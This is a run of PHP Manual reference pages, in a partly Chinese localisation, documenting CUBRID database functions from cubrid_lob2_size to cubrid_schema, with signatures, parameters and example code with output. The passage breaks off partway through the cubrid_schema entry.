  • CUBRID 函数
  • Get a lob object's size

cubrid_lob2_size

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size — Get a lob object's size

说明

cubrid_lob2_size(resource $lob_identifier): int

The cubrid_lob2_size() function is used to get the size of a lob object.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返回值

It will return the size of the LOB object when it processes successfully, 或者在失败时返回 false.

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object

  • ? cubrid_lob2_size
  • cubrid_lob2_tell ?
  • PHP Manual
  • CUBRID 函数
  • Tell the cursor position of the LOB object

cubrid_lob2_tell64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell64 — Tell the cursor position of the LOB object

说明

cubrid_lob2_tell64(resource $lob_identifier): string

The cubrid_lob2_tell64() function is used to tell the cursor position of the LOB object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the position information as a string.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返回值

It will return the cursor position on the LOB object as a string when it processes successfully, 或者在失败时返回 false.

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object

  • ? cubrid_lob2_tell64
  • cubrid_lob2_write ?
  • PHP Manual
  • CUBRID 函数
  • Tell the cursor position of the LOB object

cubrid_lob2_tell

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell — Tell the cursor position of the LOB object

说明

cubrid_lob2_tell(resource $lob_identifier): int

The cubrid_lob2_tell() function is used to tell the cursor position of the LOB object.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返回值

It will return the cursor position on the LOB object when it processes successfully, 或者在失败时返回 false.

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Write to a lob object

  • ? cubrid_lob2_tell
  • cubrid_lock_read ?
  • PHP Manual
  • CUBRID 函数
  • Write to a lob object

cubrid_lob2_write

(PECL CUBRID >= 8.4.1)

cubrid_lob2_write — Write to a lob object

说明

cubrid_lob2_write(resource $lob_identifier, string $buf): bool

The cubrid_lob2_write() function reads as much as data from buf and stores it to the LOB object. Note that this function can only append characters now.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

buf

Data that need to be written to the lob object.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_write() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

Example #2 cubrid_lob2_write() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(1, ?)");
$lob1 = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob1, "cubrid php driver");
cubrid_lob2_bind($req, 1, $lob1);
cubrid_execute($req);

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob2 = $row[1];
cubrid_lob2_seek($lob2, 0, CUBRID_CURSOR_LAST);

$pos = cubrid_lob2_tell($lob2);
print "pos before write: $pos\n";

cubrid_lob2_write($lob2, "Hello world");

$pos = cubrid_lob2_tell($lob2);
print "pos after write: $pos\n";

cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Set a read lock on the given OID

  • ? cubrid_lob2_write
  • cubrid_lock_write ?
  • PHP Manual
  • CUBRID 函数
  • Set a read lock on the given OID

cubrid_lock_read

(PECL CUBRID >= 8.3.0)

cubrid_lock_read — Set a read lock on the given OID

说明

cubrid_lock_read(resource $conn_identifier, string $oid): bool

The cubrid_lock_read() function is used to put read lock on the instance pointed by given oid.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put read lock on.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lock_read() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_read($conn, $oid);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

参见

  • cubrid_lock_write() - Set a write lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Set a write lock on the given OID

  • ? cubrid_lock_read
  • cubrid_move_cursor ?
  • PHP Manual
  • CUBRID 函数
  • Set a write lock on the given OID

cubrid_lock_write

(PECL CUBRID >= 8.3.0)

cubrid_lock_write — Set a write lock on the given OID

说明

cubrid_lock_write(resource $conn_identifier, string $oid): bool

The cubrid_lock_write() function is used to put write lock on the instance pointed by the given oid.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put write lock on.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lock_write() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_write($conn, $oid);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

参见

  • cubrid_lock_read() - Set a read lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor in the result

  • ? cubrid_lock_write
  • cubrid_next_result ?
  • PHP Manual
  • CUBRID 函数
  • Move the cursor in the result

cubrid_move_cursor

(PECL CUBRID >= 8.3.0)

cubrid_move_cursor — Move the cursor in the result

说明

cubrid_move_cursor(resource $req_identifier, int $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

The cubrid_move_cursor() function is used to move the current cursor location of req_identifier by the value set in the offset argument, to the direction set in the origin argument. To set the origin argument, you can use CUBRID_CURSOR_FIRST for the first part of the result, CUBRID_CURSOR_CURRENT for the current location of the result, or CUBRID_CURSOR_LAST for the last part of the result. If origin argument is not explicitly designated, then the function uses CUBRID_CURSOR_CURRENT as its default value.

If the value of cursor movement range goes over the valid limit, then the cursor moves to the next location after the valid range for the cursor. For example, if you move 20 units in the result with the size of 10, then the cursor will move to 11th place and return CUBRID_NO_MORE_DATA.

参数

req_identifier

Request identifier.

offset

Number of units you want to move the cursor.

origin

Location where you want to move the cursor from CUBRID_CURSOR_FIRST, CUBRID_CURSOR_CURRENT, CUBRID_CURSOR_LAST.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_move_cursor() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_move_cursor($req, 1, CUBRID_CURSOR_LAST);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_CURRENT);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(2) {
  [0]=>
  string(1) "G"
  [1]=>
  string(4) "Gold"
}
array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}

参见

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Get result of next query when executing multiple SQL statements

  • ? cubrid_move_cursor
  • cubrid_num_cols ?
  • PHP Manual
  • CUBRID 函数
  • Get result of next query when executing multiple SQL statements

cubrid_next_result

(PECL CUBRID >= 8.4.0)

cubrid_next_result — Get result of next query when executing multiple SQL statements

说明

cubrid_next_result(resource $result): bool

The cubrid_next_result() function is used to get results of next query if multiple SQL statements are executed and CUBRID_EXEC_QUERY_ALL flag is set upon cubrid_execute().

参数

result

result comes from a call to cubrid_execute()

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_next_result() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$sql_stmt = "SELECT * FROM code; SELECT * FROM history WHERE host_year=2004 AND event_code=20281";
$res = cubrid_execute($conn, $sql_stmt, CUBRID_EXEC_QUERY_ALL);

get_result_info($res);
cubrid_next_result($res);
get_result_info($res);

function get_result_info($req)
{
printf("\n------------ get_result_info --------------------\n");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

$column_name_list = cubrid_column_names($req);
$column_type_list = cubrid_column_types($req);

$column_last_name = cubrid_field_name($req, $col_num - 1);
$column_last_table = cubrid_field_table($req, $col_num - 1);

$column_last_type = cubrid_field_type($req, $col_num - 1);
$column_last_len = cubrid_field_len($req, $col_num - 1);

$column_1_flags = cubrid_field_flags($req, 1);

printf("%-30s %d\n", "Row count:", $row_num);
printf("%-30s %d\n", "Column count:", $col_num);
printf("\n");

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Len");
printf("------------------------------------------------------------------------------\n");

$size = count($column_name_list);
for($i = 0; $i < $size; $i++) {
$column_len = cubrid_field_len($req, $i);
printf("%-30s %-30s %-15s\n", $column_name_list[$i], $column_type_list[$i], $column_len);
}
printf("\n\n");

printf("%-30s %s\n", "Last Column Name:", $column_last_name);
printf("%-30s %s\n", "Last Column Table:", $column_last_table);
printf("%-30s %s\n", "Last Column Type:", $column_last_type);
printf("%-30s %d\n", "Last Column Len:", $column_last_len);
printf("%-30s %s\n", "Second Column Flags:", $column_1_flags);

printf("\n\n");
}
?>

以上示例会输出：

------------ get_result_info --------------------
Row count:                     6
Column count:                  2

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
s_name                         char                           1
f_name                         varchar                        6

Last Column Name:              f_name
Last Column Table:             code
Last Column Type:              varchar
Last Column Len:               6
Second Column Flags:

------------ get_result_info --------------------
Row count:                     4
Column count:                  5

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
event_code                     integer                        11
athlete                        varchar                        40
host_year                      integer                        11
score                          varchar                        10
unit                           varchar                        5

Last Column Name:              unit
Last Column Table:             history
Last Column Type:              varchar
Last Column Len:               5
Second Column Flags:           not_null primary_key unique_key

参见

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • ? cubrid_next_result
  • cubrid_num_rows ?
  • PHP Manual
  • CUBRID 函数
  • Return the number of columns in the result set

cubrid_num_cols

(PECL CUBRID >= 8.3.0)

cubrid_num_cols — Return the number of columns in the result set

说明

cubrid_num_cols(resource $result): int

The cubrid_num_cols() function is used to get the number of columns from the query result. It can only be used when the query executed is a SELECT statement.

参数

result

Result.

返回值

Number of columns, when process is successful.

false, if SQL statement is not SELECT.

示例

Example #1 cubrid_num_cols() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

以上示例会输出：

Row Num: 6
Column Num: 2

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_rows() - Get the number of rows in the result set

User Contributed Notes

There are no user contributed notes for this page.


Get the number of rows in the result set

  • ? cubrid_num_cols
  • cubrid_pconnect_with_url ?
  • PHP Manual
  • CUBRID 函数
  • Get the number of rows in the result set

cubrid_num_rows

(PECL CUBRID >= 8.3.0)

cubrid_num_rows — Get the number of rows in the result set

说明

cubrid_num_rows(resource $result): int

The cubrid_num_rows() function is used to get the number of rows from the query result. It can be used for SELECT statements. For INSERT, UPDATE, or DELETE queries, use the cubrid_affected_rows() function.

Note: The cubrid_num_rows() function can only be used for synchronous query; it returns 0 when it is used for asynchronous query.

参数

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

返回值

Number of rows, when process is successful.

0 when the query was done in async mode.

-1, if SQL statement is not SELECT.

false when process is unsuccessful.

示例

Example #1 cubrid_num_rows() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

以上示例会输出：

Row Num: 6
Column Num: 2

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_cols() - Return the number of columns in the result set
  • cubrid_affected_rows() - Return the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to CUBRID server

  • ? cubrid_num_rows
  • cubrid_pconnect ?
  • PHP Manual
  • CUBRID 函数
  • Open a persistent connection to CUBRID server

cubrid_pconnect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_pconnect_with_url — Open a persistent connection to CUBRID server

说明

cubrid_pconnect_with_url(string $conn_url, string $userid = ?, string $passwd = ?): resource

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect_with_url() acts very much like cubrid_connect_with_url() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect_with_url()).

This type of link is therefore called 'persistent'.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

Note:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_pconnect_with_url ($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

参数

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

返回值

Connection identifier, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_pconnect_with_url() url without properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::";
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
echo "connected successfully";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_disconnect ($con);
}
?>

Example #2 cubrid_pconnect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?althost=10.34.63.132:33088&rctime=100";
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
echo "connected successfully";
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_disconnect ($con);
}
?>

参见

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to a CUBRID server

  • ? cubrid_pconnect_with_url
  • cubrid_prepare ?
  • PHP Manual
  • CUBRID 函数
  • Open a persistent connection to a CUBRID server

cubrid_pconnect

(PECL CUBRID >= 8.3.1)

cubrid_pconnect — Open a persistent connection to a CUBRID server

说明

cubrid_pconnect(
string $host,
int $port,
string $dbname,
string $userid = ?,
string $passwd = ?
): resource

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect() acts very much like cubrid_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect()).

This type of link is therefore called 'persistent'.

参数

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database.

passwd

User password.

返回值

Connection identifier, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_pconnect("localhost", 33000, "demodb", "dba");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参见

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Prepare a SQL statement for execution

  • ? cubrid_pconnect
  • cubrid_put ?
  • PHP Manual
  • CUBRID 函数
  • Prepare a SQL statement for execution

cubrid_prepare

(PECL CUBRID >= 8.3.0)

cubrid_prepare — Prepare a SQL statement for execution

说明

cubrid_prepare(resource $conn_identifier, string $prepare_stmt, int $option = 0): resource

The cubrid_prepare() function is a sort of API which represents SQL statements compiled previously to a given connection handle. This pre-compiled SQL statement will be included in the cubrid_prepare().

Accordingly, you can use this statement effectively to execute several times repeatedly or to process long data. Only a single statement can be used and a parameter may put a question mark (?) to appropriate area in the SQL statement. Add a parameter when you bind a value in the VALUES clause of INSERT statement or in the WHERE clause. Note that it is allowed to bind a value to a MARK(?) by using the cubrid_bind() function only.

参数

conn_identifier

Connection identifier.

prepare_stmt

Prepare query.

option

OID return option CUBRID_INCLUDE_OID.

返回值

Request identifier, if process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_prepare() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT g.event_code, e.name
FROM game g
JOIN event e ON g.event_code=e.code
WHERE host_year = ? AND event_code NOT IN (SELECT event_code FROM game WHERE host_year=?) GROUP BY event_code;
EOD;

$req = cubrid_prepare($conn, $sql);

cubrid_bind($req, 1, 2004);
cubrid_bind($req, 2, 2000);
cubrid_execute($req);

$row_num = cubrid_num_rows($req);
printf("There are %d event that exits in 2004 olympic but not in 2000. For example:\n\n", $row_num);

printf("%-15s %s\n", "Event_code", "Event_name");
printf("----------------------------\n");

$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);
$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);

cubrid_disconnect($conn);
?>

以上示例会输出：

There are 27 event that exits in 2004 olympic but not in 2000. For example:

Event_code      Event_name
----------------------------
20063           +91kg
20070           64kg

参见

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_bind() - Bind variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Update a column using OID

  • ? cubrid_prepare
  • cubrid_rollback ?
  • PHP Manual
  • CUBRID 函数
  • Update a column using OID

cubrid_put

(PECL CUBRID >= 8.3.0)

cubrid_put — Update a column using OID

说明

cubrid_put(
resource $conn_identifier,
string $oid,
string $attr = ?,
mixed $value
): bool

The cubrid_put() function is used to update an attribute of the instance of the given oid.

You can update single attribute by using string data type to set attr. In such case, you can use integer, floating point or string type data for the value argument. To update multiple number of attributes, you can disregard the attr argument, and set value argument with associative array data type.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to update.

attr

Name of the attribute that you want to update.

value

New value that you want to assign to the attribute.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

参见

  • cubrid_get() - Get a column using OID
  • cubrid_set_add() - Insert a single element to set type column using OID
  • cubrid_set_drop() - Delete an element from set type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • ? cubrid_put
  • cubrid_schema ?
  • PHP Manual
  • CUBRID 函数
  • Roll back a transaction

cubrid_rollback

(PECL CUBRID >= 8.3.0)

cubrid_rollback — Roll back a transaction

说明

cubrid_rollback(resource $conn_identifier): bool

The cubrid_rollback() function executes rollback on the transaction pointed by conn_identifier, currently in progress.

Connection to server is closed after calling cubrid_rollback(). Connection handle, however, is still valid.

参数

conn_identifier

Connection identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_rollback() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");
cubrid_set_autocommit($conn,false);

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
cubrid_bind($req, 1, $id_list[$i]);
cubrid_bind($req, 2, $name_list[$i]);
cubrid_bind($req, 3, $city_list[$i]);
cubrid_bind($req, 4, $state_list[$i]);
cubrid_bind($req, 5, $country_list[$i]);

if (!($ret = cubrid_execute($req))) {
break;
}
}

if (!$ret) {
cubrid_rollback($conn);
} else {
cubrid_commit($conn);

$req = cubrid_execute($conn, "SELECT * FROM publishers");
while ($result = cubrid_fetch_assoc($req)) {
printf("%-3s %-20s %-15s %-3s %-15s\n",
$result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
}
}

cubrid_disconnect($conn);
?>

以上示例会输出：

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

参见

  • cubrid_commit() - Commit a transaction
  • cubrid_disconnect() - Close a database connection

User Contributed Notes

There are no user contributed notes for this page.


Get the requested schema information

  • ? cubrid_rollback
  • cubrid_seq_drop ?
  • PHP Manual
  • CUBRID 函数
  • Get the requested schema information

cubrid_schema

(PECL CUBRID >= 8.3.0)

cubrid_schema — Get the requested schema information

说明

cubrid_schema(
resource $conn_identifier,
int $schema_type,
string $class_name = ?,
string $attr_name = ?
): array

